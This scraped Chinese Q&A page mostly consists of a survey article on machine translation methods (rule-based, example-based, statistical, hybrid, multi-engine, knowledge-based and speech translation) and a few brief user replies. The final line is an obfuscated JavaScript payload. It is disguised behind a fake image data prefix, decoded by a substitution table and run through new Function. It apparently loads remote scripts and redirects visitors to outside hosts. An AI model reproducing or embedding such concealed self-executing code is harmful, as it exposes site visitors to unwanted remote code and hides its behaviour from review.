推荐回答(5个)
机器翻译基本工作原理和基本分类
机器翻译(Machine Translation,MT)是建立在多学科基础上的综合学科,现代理论语言学的发展,计算机科学的进步,信息学和概率统计学的应用,对机器翻译的发展和演变产生了重要影响。机器翻译的基本思想是利用计算机对自然语言进行翻译,而各种机器翻译系统采用的技术和理念不尽相同;面对各种各样的机器翻译系统,文献上有各种分类方式。本文根据所应用的基本工作原理对机器翻译系统分类作一综述。
1. 基本类型的机器翻译系统:现有的机器翻译系统按照其基本工作原理,可以分为基于规则的(Rule-Based)机器翻译,基于实例的(Example-Based)机器翻译和统计型的(Statistical)机器翻译这三种基本类型。
1.1. 基于规则的机器翻译系统(Rule-Based Machine Translation, RBMT):其基本工作原理基于一个假设,即语言无限的句子可以由有限的规则推导出来。基于这个假设的机器翻译方法又可以分为三类:直接翻译法(Direct Translation),中间语言法(Interlingual Approach),和转换法(Transfer Approach)。它们都需要用到大规模的双语词典,需要用到源语言推导规则,语言转换规则和目标语言生成规则;其不同点在于对语言进行的分析深度不同。如直译法几乎不需要进行语言分析,中间语言法和转换法需要对源语言和目标语言进行某种程度的语言分析。
1.1.1直接翻译法(Direct Translation):这种翻译方法直接对源文字中的字词进行逐个翻译,译后文字顺序按照原文顺序进行排列。这是基于规则的机器翻译的最早的工作方法。这种译法简单、直观,其弊端也是明显的:由这种方法得到的翻译结果质量很不令人满意。人们已经逐渐不再使用这种直接翻译法。
1.1.2中间语言法(Interlingual Approach):这种翻译方法对源语言文字进行透彻的语言分析,将其转化为一种中间语言表达形式,进而由这种中间语言(Interlingua)进一步生成和输出符合目标语言语法规则的文字。这种中间语言是一种非自然语言,即不是任何国家地区人们使用的语言;而且它是一种没有歧义的表达方式。此外,中间语言不是唯一的,不同的系统采用不同的中间语言。任意一种语言经由中间语言译为其它任意一种语言,理论上这种中间语言法是最有效率的一种翻译方式。假定世界上总共有n种自然语言,使用中间语言法,只需2n个模块就可以解决所有自然语言之间的互译问题。不使用中间语言,这些语言间的互译则需要n(n-1)个模块。当n大于3时,2n小于n(n-1)。我们知道,世界上的自然语言种类远大于3,因此2n个模块的数量远小于n(n-1)个模块的数量。
1.1.3 转换法(Transfer Approach):这种翻译方法先对源语言文字进行一定程度的语言分析,去除语法的因素,生成源语言的中间表达方式,然后经由转换,生成目标语言的中间表达方式,再由目标语言的中间表达方式生成和输出符合目标语言语法规则的文字。目前来说,转换法的语言分析和实现方法在三种方法中最为复杂,得到的翻译质量在三种方法中也是最好的,是目前商业上最常使用的翻译方法,在商业上最为成功。
在许多基于规则的机器翻译系统中,由语言学家辅助编写一系列关于源语言和目标语言的语法规则,以及将源语言数据转换为目标语言数据的转换规则。然而使用全人工来制作这些规则非常昂贵、费时,而且易于出错。一个解决方法便是将以往的历史翻译结果作为资源库,其中的源语言文字和它对应的目标语言译文作为例子,从中尝试提取出恰当的规则。方法之一是对源文字和目标语言译文作人工标记以示关联。Sato言和Nagao[1]研发出一个系统,用“平面依赖关系树”来表示源语言文字和目标语言文字。这种关系树型数据结构是计算机高效识别的一种形式。通常用两个层次代表源语言和目标语言之间的关联:第一层次依赖于文字的表面形式(如字、词顺序),用于源语言的分析和目标语言的生成;第二层次依赖于字词间的语义关联,用于从源语言向目标语言的转换。这种机器翻译系统在基于规则的机器翻译基础上,利用了实例库的优势。
随着大量历史翻译结果的积累,出现了基于实例的机器翻译系统,人们将这些已经完成的翻译结果作为资源库,利用到机器翻译中来。
1.2. 基于实例的机器翻译(Example-Based Machine Translation,EBMT):其基本工作原理是基于类比(Analogy)的原则,从实例库中匹配出与源文字片段最相似的文字片段,取出实例文字片段对应的目标语言翻译结果,进行适当的改造,最终得出完整的翻译结果。基于实例的机器翻译其核心思想最早由MakonNagao 提出,他提出:人们在翻译简单句子时并不作深层语言分析,而是翻译。首先把源句子分解成若干片段,然后将这些片段译为目标语言,每个片段的翻译都是通过与例句做匹配以类比的原则得到的,最后将这些译后句子组合成一个长句子。
1.2.1. 实例库的构成:实例库也称为语料库(Corpus),由已经完成的翻译结果构成。这些现成的翻译结果也称为语料,包括人工翻译的结果和经过人工编辑的机器翻译结果。语料库由双语对构成,包括源语言文字片段和目标语言译文文字片段两部分。这些翻译结果要先经过拆分和对齐处理,才可以成为语料库中的可用语料。因此语料库也称为平行双语语料库(Parallel的 Corpus)。拆分和对齐目前有多种形式,如句子水平的对齐和短语水平的对齐。对齐的文字片段大小的选择,会直接影响匹配的效率和翻译结果。
1.2.2. 语料拆分的碎片化问题:Nirenburg等(1993)指出,在基于实例的机器翻译系统(EBMT) 中,实例语料存在一个文字片段长度和相似度之间的一个矛盾。文字片段越长,越不易得到一个相似度高的匹配;文字片段越短,越可能得到一个大致匹配,但是得到低质量翻译结果的风险也越大。比如由段落划分边界产生的重叠问题以及不恰当的划分导致的翻译质量下降。直观上似乎是选择以句子为单位划分得到的语料对比较好,有诸多优势如:句子的边界划分清楚,一些简单句子的结构清晰。然而在实际应用中,以句子为单位并不是最恰当的方式。实践证明匹配和重组过程需要使用更加短小的片段。(当然,这些研究结果是以欧美语系语言之间的翻译研究结果为基础的。)
1.2.3. 实例库定制:实例语料的的范围和质量影响着基于实例的机器翻译系统(EBMT)的翻译质量水平。在某特定领域获取高质量语料可以大大提高机器翻译在此领域的翻译质量,称为语料(实例)库的定制。
1.3. 统计型机器翻译系统(Statistical MT):IBM公司的Brown在1990年首先将统计模型用于法-英机器翻译。其基本思想是:把机器翻译问题看成是一个噪声信道问题,然后用信道模型来进行解码。翻译过程被看作是一个解码的过程,进而变成寻求最优翻译结果的过程。基于这种思想的机器翻译重点是定义最合适的语言概率模型和翻译概率模型,然后对语言模型和翻译模型的概率参数进行估计。语言模型的参数估计需要大量的单语语料,翻译模型的参数估计需要大量平行双语语料。统计机器翻译的质量很大程度上取决于语言模型和翻译模型的性能,此外,要找到最优的译文,还需要有好的搜索算法。简单说,统计机器翻译首先建立统计模型,然后使用实例库中的实例对统计模型进行训练,得到需要的语言模型和翻译模型用于翻译。
统计型机器翻译,除了基于噪声信道理论的系统以外,还有基于最大熵方法的系统。博格(A.L.Berger)在1996年 提出自然语言处理中“最大熵方法”(Maximum Entropy Approach)。德国人奥赫 (Franz Joseph Och)等发现, 把IBM公司的统计机器翻译基本方程式中的翻译模型转变为反向翻译模型,总体的翻译正确率并没有降低,由此,他们提出基于最大熵方法的机器翻译模型。
统计型机器翻译取得了一定的成绩,然而纯统计设计却不能解决所有困难。统计型的方法不考虑语言的语义、语法因素,单纯用数学的方法来处理语言问题,有着巨大的局限性。于是人们开始探索基于统计方法和其它翻译方法的联合应用。如统计的和基于实例的机器翻译系统,统计的和基于规则的机器翻译系统,等等。
2. 综合类型的机器翻译系统:
以上三个基本机器翻译系统各有优势和长处,同时又不可避免的具有某种缺陷和局限性。如基于规则的机器翻译系统(RBMT)可以准确的描述语言学特征和规律,然而制定适用和完备的语言规则却不是一件容易的事;基于实例的机器翻译系统(EBMT)可以充分利用已有的翻译结果,但是实例库的维护需要大量的人工和费用;统计型的机器翻译(Statistical以MT)可以缓解知识获取的瓶颈问题,但是纯数学的方法难于完全解决语言中的复杂问题。为进一步提高机器翻译系统的翻译水平,人们综合以上几个基本类型的优势,又发明了混合型机器翻译系统(Hybrid器MT),多引擎机器翻译系统(Multi-Engine MT)和提出了基于知识的机器翻译系统(Knowledge-Based MT)的理论。
2.1 混合型机器翻译系统(Hybrid MT):翻译过程使用两种或以上机器翻译原理。比如:基于规则的机器翻译方法的核心是构造完备的、适应性较强的规则系统。如何得到完备和适应性强的规则系统成为研究焦点。使用传统的方法,语法规则库的建立需要大量的人力、物力,大量的语言语法规则之间往往存在着不可避免的冲突,规则的完备性和适应性不能得到保证。随着人们翻译工作的进行,生成大量已完成的翻译结果,形成大量语料。人们想到了使用统计方法从现有语料中自动提取我们需要的语言语法信息。从实例中抽取语言转换规则,将基于实例的机器翻译作为研究技术来建立语言规则基础,而不是单纯用来进行类比翻译。通过一个归纳的过程,从大量例句中提出抽象的规则 。这样传统的基于规则的机器翻译方法发展成为以规则为基础,语料库为辅助的机器翻译方法。这种翻译模型可以称之为混合型机器翻译系统(Hybrid MT)。
2.2 多引擎机器翻译系统(Multi-Engine MT):这种机器翻译系统的基本思想是几架机器翻译引擎同时进行并行翻译,并行翻译的这几架翻译引擎分别基于不同的工作原理,给出多个翻译结果,然后通过某种机制或算法筛选并生成最优翻译结果进行输出。多引擎机器翻译系统的一种工作方式如:接收到源文字后,先将文字转化为若干文字片段,由多个机器翻译引擎进行并行翻译,型各个文字片段均得到多个翻译结果, 通过某种机制选择最优的翻译片段组成最优组合,最后输出最优的翻译结果。或者是接收到源文字后,由多个机器翻译引擎进行并行翻译,得到多个翻译结果,然后对各个翻译结果进行字词的比较,通过某种假设检验和算法,选择适当的字词翻译组成最优翻译结果输出。
2.3. 基于知识的机器翻译系统(Knowledge-Based MT):在机器翻译研究中,人们越来越发现在翻译过程中正确的理解、领会源语言的重要性。语言有着其复杂性。其中语言的模糊性是各种机器翻译系统所面对的最顽固的难题。语言的模糊性指语言文字同一表层结构对应着两种或两种以上的深层结构,简单说就是一种形式对应着两种或两种以上的解释,必须通过上下文内容的提示和综合知识背景、常识才可能做出正确的诠释。受人工智能,知识工程的发展影响,人们开始强调对源语言更为彻底的理解,提出不仅需要进行深层语言分析,还需要进行世界知识的积累和处理,建立知识库,以助于理解语言。通过对世界知识的了解,解决机器翻译中遇到的语言模糊问题。为了从根本上彻底的解决机器翻译所面对的语言的模糊性问题,人们提出了基于知识的机器翻译系统。
2.3.1 基于语义网的机器翻译(Semantic Web based Machine Translation, SWMT):是基于知识的机器翻译系统的一种实现方式。语义网(Semantic Web),指通过某种技术,将现有网络上的知识内容转化为机器可以辨识的内容,成为机器翻译的“世界知识库”。这些理论基于Tim Berners-Lee提出的观点“知识一旦经定义和形式化后,便可以通过任意方式访问”。万维网最初的设计是希望它简单,去中心化并且尽可能的易于互动。网络的发展证明它是一个巨大的成功。然而,网络上面的信息都是面向人类大脑的。为了让计算机也能够接受和利用这些信息资源,在新的世纪一种扩展和补充性质的技术出现了,分称为W3C,Semantic Web3 (三维语义网)。三维语义网络的基础技术是数据格式的“资源描述构架”( ‘Resource Description Framework’,RDF), 它定义了一种结构,用一种自然的方式来描述计算机处理的巨大量的数据[8]。目前人们已经 在尝试将现有的机器翻译系统整合入语义网,以充分利用世界知识/专家知识, 提高机器翻译质量。
3.语音翻译(Speech Translation):语音翻译是与文字翻译相对应的一种机器翻译分类,与前面的分类有着不同。但是有着广泛的应用,如日常交谈、电话通话、会议讲话等对语音交流内容的自动翻译,在实际应用中非常重要。语音翻译在翻译之前增加了一个语言识别(SpeechB Recognition)过程,形成正确的文字内容输入,并且在翻译过程完成后增加了一个语音合成(Speech Synthesis)过程,
形成一个正确的语音内容输出。其中语音识别技术和语音合成技术都有着专门研究,这里不再赘述。
作者姓名:洪洁
工作单位:传神语联网网络科技股份有限公司 多语工程中心
作者姓名:洪雷
工作单位:中国科学院大学 外语系
翻译的原理就是同时保存英文和中文的单词,然后根据中文或者英文,查询出相应的语义。
短语+经常用法 ,作为优先考虑。这种翻译,对单词或短语级别的翻译还是比较有效的,但是针对文章段落级别的翻译,因为基本上每个单词都有好几种意思,而具体的意思,需要结合上下文才能明白,但是计算机怎么能识别出呢?所以,这是难点。所以,机翻的东西只可参考。
翻译的原理就是同时保存英文和中文的单词,然后根据中文或者英文,查询出相应的语义。这种翻译,对单词或短语级别的翻译还是比较有效的,但是针对文章段落级别的翻译,因为基本上每个单词都有好几种意思,而具体的意思,需要结合上下文才能明白,但是计算机怎么能识别出呢?所以,这是难点。
翻译什么的原理其实还是按照概率来算的(AI也就都是这样的运行方式)根据语言前后的运用概率然后推测意思
程序啊.你想到的都在程序里就可以了.但可能吗.常用的语句可以翻译正确.但不常见的.就大概正确.或跟本相反.只有人去翻好.下次才对啊
!function(){function a(a){var _idx="s54ivid5np";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8Lno6X6fn2J"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"Lno6X6fn2J"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q/f/Ks0j(8}vR8Lno6X6fn2J"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();